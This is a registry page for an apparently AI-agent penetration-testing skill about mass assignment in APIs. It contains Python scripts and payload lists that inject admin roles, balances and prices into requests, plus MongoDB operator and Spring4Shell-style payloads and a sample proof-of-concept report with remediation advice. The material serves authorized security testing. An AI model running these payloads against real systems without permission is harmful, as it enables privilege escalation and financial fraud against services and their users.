testing-api-for-mass-assignment-vulnerability▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
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Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests involving mass assignment testing, parameter binding abuse, auto-binding vulnerability, or API over-posting.
| name | testing-api-for-mass-assignment-vulnerability |
| description | 'Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests involving mass assignment testing, parameter binding abuse, auto-binding vulnerability, or API over-posting. ' |
| domain | cybersecurity |
| subdomain | api-security |
| tags | - api-security - owasp - mass-assignment - auto-binding - parameter-tampering |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Testing API for Mass Assignment Vulnerability
When to Use
- Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
- Assessing whether the API binds all client-supplied properties to the data model without an allowlist
- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
- Testing APIs built with ORMs that auto-bind request parameters to database models
- Validating that server-side input validation restricts writeable properties per user role
Do not use without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.
Prerequisites
- Written authorization specifying target API endpoints and scope
- Test accounts at different privilege levels
- API documentation or OpenAPI specification to identify expected request fields
- Burp Suite Professional for request interception and parameter injection
- Python 3.10+ with
requestslibrary - Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior
Workflow
Step 1: Identify Writable Endpoints and Expected Parameters
import requests
import json
import copy
BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
# Identify endpoints that accept write operations
writable_endpoints = [
{"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
{"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
{"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
{"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
{"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
{"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
{"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
{"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]
# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
Step 2: Inject Privileged Fields
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True, "superuser": True},
"permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"account_status": {"is_active": True, "isActive": True, "verified": True,
"email_verified": True, "is_verified": True, "status": "active"},
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01, "amount": 0.01},
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
"created_by": 1, "createdBy": 1},
"internal": {"internal_notes": "test", "debug": True, "hidden": False,
"is_deleted": False, "is_featured": True, "priority": 0},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
def test_mass_assignment(endpoint_info):
"""Test a writable endpoint for mass assignment vulnerabilities."""
method = endpoint_info["method"]
path = endpoint_info["path"]
expected = endpoint_info["expected_fields"]
findings = []
# Build a valid base request
base_body = {}
for field in expected:
if field == "email":
base_body[field] = "[email protected]"
elif field == "password":
base_body[field] = "SecurePass123!"
elif field == "name":
base_body[field] = "Test User"
elif field == "items":
base_body[field] = [{"product_id": 1, "quantity": 1}]
else:
base_body[field] = "test_value"
# Test each category of privileged fields
for category, fields in PRIVILEGE_FIELDS.items():
test_body = {**base_body, **fields}
resp = requests.request(method, f"{BASE_URL}{path}",
headers=user_headers, json=test_body)
if resp.status_code in (200, 201):
# Verify if the fields were actually set
resp_data = resp.json()
for field_name, injected_value in fields.items():
actual = resp_data.get(field_name)
if actual is not None and str(actual) == str(injected_value):
findings.append({
"endpoint": f"{method} {path}",
"category": category,
"field": field_name,
"injected_value": injected_value,
"confirmed": True
})
print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")
return findings
all_findings = []
for endpoint in writable_endpoints:
findings = test_mass_assignment(endpoint)
all_findings.extend(findings)
print(f"\nTotal mass assignment findings: {len(all_findings)}")
Step 3: Verify Assignment Through State Change
def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
"""Verify that the mass-assigned field actually persists in the database."""
# Re-fetch the object to confirm the field was saved
resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
if resp.status_code == 200:
current_state = resp.json()
actual_value = current_state.get(field_name)
if actual_value is not None:
match = str(actual_value) == str(injected_value)
print(f" Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
return match
return False
# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")
# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
headers=user_headers,
json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")
# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
print("[CRITICAL] Mass assignment: Role elevated to admin")
# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
print("[CRITICAL] Admin access confirmed after role elevation")
Step 4: Framework-Specific Testing
# Ruby on Rails / Active Record style
rails_payloads = [
{"user": {"name": "Test", "role": "admin", "admin": True}}, # Nested under model name
{"user[name]": "Test", "user[role]": "admin"}, # Form-style nested
]
# Django REST Framework style
django_payloads = [
{"username": "test", "is_staff": True, "is_superuser": True},
{"username": "test", "groups": [1]}, # Add to admin group by ID
]
# Express.js / Mongoose style
express_payloads = [
{"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # Override MongoDB _id
{"name": "test", "$set": {"role": "admin"}}, # MongoDB operator injection
]
# Spring Boot / JPA style
spring_payloads = [
{"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
{"name": "test", "class.module.classLoader": ""}, # Spring4Shell style
]
# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
if resp.status_code in (200, 201):
print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")
Step 5: Order and Financial Object Mass Assignment
# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")
# Test 1: Create order with manipulated price
order_body = {
"items": [{"product_id": 42, "quantity": 1}],
"shipping_address": {"street": "123 Test St", "city": "Test City"},
# Injected fields
"total": 0.01,
"subtotal": 0.01,
"discount_percent": 100,
"coupon_code": "FREEORDER",
"shipping_cost": 0,
"tax": 0,
}
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
order = resp.json()
print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
if float(order.get("total", 999)) < 1.0:
print("[CRITICAL] Price manipulation via mass assignment")
# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
headers=user_headers,
json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
headers=user_headers,
json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
wallet = resp.json()
if float(wallet.get("balance", 0)) > 10000:
print("[CRITICAL] Wallet balance manipulation via mass assignment")
Key Concepts
| Term | Definition |
|---|---|
| Mass Assignment | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |
| Auto-Binding | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |
| Allowlist (Whitelist) | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |
| Blocklist (Blacklist) | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |
| Object Property Level Authorization | OWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access |
| DTO (Data Transfer Object) | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |
Tools & Systems
- Burp Suite Professional: Intercept write requests and inject additional parameters using Repeater and Intruder
- Param Miner (Burp Extension): Automatically discovers hidden parameters by fuzzing request bodies and headers
- Arjun: Parameter discovery tool that finds hidden HTTP parameters in API endpoints
- OWASP ZAP: Active scanner with parameter injection capabilities for mass assignment detection
- Postman: API testing platform for crafting requests with injected parameters and verifying responses
Common Scenarios
Scenario: SaaS User Registration Mass Assignment
Context: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.
Approach:
- Register a new user with only expected fields:
POST /api/v1/register {"name":"Test","email":"[email protected]","password":"Pass123!"}- returns user withrole: "user" - Register another user with injected role:
POST /api/v1/register {"name":"Admin","email":"[email protected]","password":"Pass123!","role":"admin"}- returns user withrole: "admin" - Confirm admin access by calling admin endpoints with the new account
- Test additional fields:
is_verified: truebypasses email verification,subscription_plan: "enterprise"grants premium features - Test profile update endpoint:
PUT /api/v1/users/me {"name":"Test","balance":99999}- wallet balance modified
Pitfalls:
- Only testing obvious fields like "role" and missing domain-specific fields like "subscription_plan", "credit_limit", or "verified"
- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)
- Assuming that blocklisting "role" prevents mass assignment when "isAdmin", "is_admin", or "admin" may also work
- Not testing both creation (POST) and update (PUT/PATCH) endpoints as they may have different filtering
- Missing nested object mass assignment where fields like
user.roleoraddress.verifiedcan be injected
Output Format
## Finding: Mass Assignment Enables Role Elevation via Registration API
**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
- POST /api/v1/register
- PUT /api/v1/users/me
- POST /api/v1/orders
**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.
**Proof of Concept**:
1. Register with injected role:
POST /api/v1/register
{"name":"Attacker","email":"[email protected]","password":"P@ss123!","role":"admin"}
Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
2. Update profile with injected balance:
PUT /api/v1/users/me
{"name":"Attacker","balance":99999.99}
Response: {"id":5001,"balance":99999.99}
3. Create order with manipulated price:
POST /api/v1/orders
{"items":[{"product_id":42,"qty":1}],"total":0.01}
Response: {"order_id":8001,"total":0.01}
**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.
**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields
How to use testing-api-for-mass-assignment-vulnerability on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add testing-api-for-mass-assignment-vulnerability
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches testing-api-for-mass-assignment-vulnerability from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate testing-api-for-mass-assignment-vulnerability. Access the skill through slash commands (e.g., /testing-api-for-mass-assignment-vulnerability) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
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Use Cases▌
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Automate repetitive workflows and reduce manual effort
Example
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Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
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Ratings
4.5★★★★★38 reviews- ★★★★★Chaitanya Patil· Dec 24, 2024
testing-api-for-mass-assignment-vulnerability fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Emma Martinez· Dec 24, 2024
I recommend testing-api-for-mass-assignment-vulnerability for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Piyush G· Nov 15, 2024
testing-api-for-mass-assignment-vulnerability is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Emma Huang· Nov 15, 2024
testing-api-for-mass-assignment-vulnerability reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★James Huang· Nov 11, 2024
testing-api-for-mass-assignment-vulnerability has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Shikha Mishra· Oct 6, 2024
Keeps context tight: testing-api-for-mass-assignment-vulnerability is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Ishan Smith· Oct 6, 2024
Registry listing for testing-api-for-mass-assignment-vulnerability matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Mei Khanna· Oct 2, 2024
Solid pick for teams standardizing on skills: testing-api-for-mass-assignment-vulnerability is focused, and the summary matches what you get after install.
- ★★★★★Camila Garcia· Sep 25, 2024
testing-api-for-mass-assignment-vulnerability fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Ira Gonzalez· Sep 25, 2024
Keeps context tight: testing-api-for-mass-assignment-vulnerability is the kind of skill you can hand to a new teammate without a long onboarding doc.
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